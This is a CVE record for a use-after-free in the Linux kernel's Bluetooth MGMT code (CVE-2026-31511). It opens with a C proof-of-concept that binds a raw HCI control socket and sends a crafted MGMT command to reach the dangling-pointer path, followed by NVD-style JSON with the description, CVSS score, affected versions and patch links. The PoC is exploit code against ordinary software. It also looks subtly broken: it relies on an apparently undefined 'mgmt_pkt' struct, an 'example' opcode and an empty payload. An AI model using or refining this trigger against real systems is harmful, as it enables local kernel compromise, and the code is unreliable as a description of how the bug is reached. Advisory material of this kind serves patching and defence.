CVE-2026-31511

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <bluetooth/bluetooth.h> #include <bluetooth/hci.h> #include <bluetooth/mgmt.h> // Conceptual PoC for triggering the dangling pointer condition // This requires a vulnerable kernel version and local access. int main() { int sk; struct sockaddr_hci addr; char buf[1024]; // Open Bluetooth Management socket sk = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI); if (sk < 0) { perror("socket"); return 1; } memset(&addr, 0, sizeof(addr)); addr.hci_family = AF_BLUETOOTH; addr.hci_dev = HCI_DEV_NONE; addr.hci_channel = HCI_CHANNEL_CONTROL; if (bind(sk, (struct sockaddr *) &addr, sizeof(addr)) < 0) { perror("bind"); close(sk); return 1; } // Prepare MGMT command to add advertisement patterns monitor // The specific payload construction depends on triggering the 'status != -ECANCELED' path struct mgmt_pkt *cmd = (struct mgmt_pkt *) buf; cmd->index = HCI_DEV_NONE; cmd->opcode = 0x0053; // MGMT_OP_ADD_ADV_PATTERNS_MONITOR (Example value) cmd->len = htons(0); // Send command if (write(sk, cmd, sizeof(*cmd)) < 0) { perror("write"); } // Triggering the vulnerability might require specific timing or subsequent power off operations // to hit the dangling pointer during list traversal (mgmt_pending_foreach). printf("Potential trigger sent. Check kernel logs for Oops.\n"); close(sk); return 0; }

{"cve": {"id": "CVE-2026-31511", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:50.343", "lastModified": "2026-05-17T16:16:15.813", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nBluetooth: MGMT: Fix dangling pointer on mgmt_add_adv_patterns_monitor_complete\n\nThis fixes the condition checking so mgmt_pending_valid is executed\nwhenever status != -ECANCELED otherwise calling mgmt_pending_free(cmd)\nwould kfree(cmd) without unlinking it from the list first, leaving a\ndangling pointer. Any subsequent list traversal (e.g.,\nmgmt_pending_foreach during __mgmt_power_off, or another\nmgmt_pending_valid call) would dereference freed memory."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.12.59", "versionEndExcluding": "6.12.80", "matchCriteriaId": "2E3E9EB4-7DEE-45DF-B63A-FE5F72A20A3F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.16.10", "versionEndExcluding": "6.17", "matchCriteriaId": "1C91278E-7FC3-4EFB-AE2C-E82D42F4D3AA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.17.1", "versionEndExcluding": "6.18.21", "matchCriteriaId": "44CB3599-9974-4F35-B3CC-580CAC6FA38B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:6.17:-:*:*:*:*:*:*", "matchCriteriaId": "7CC8B11D-82DC-4958-8DC7-BF5CC829A5E9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/2074dfffad76981ca451cb7fc98703d04ac562fe", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/340666172cf747de58c283d2eef1f335f050538b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3a89c33deffb3cb7877a7ea2e50734cd12b064f2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5f5fa4cd35f707344f65ce9e225b6528691dbbaa", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bafec9325d4de26b6c49db75b5d5172de652aae0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}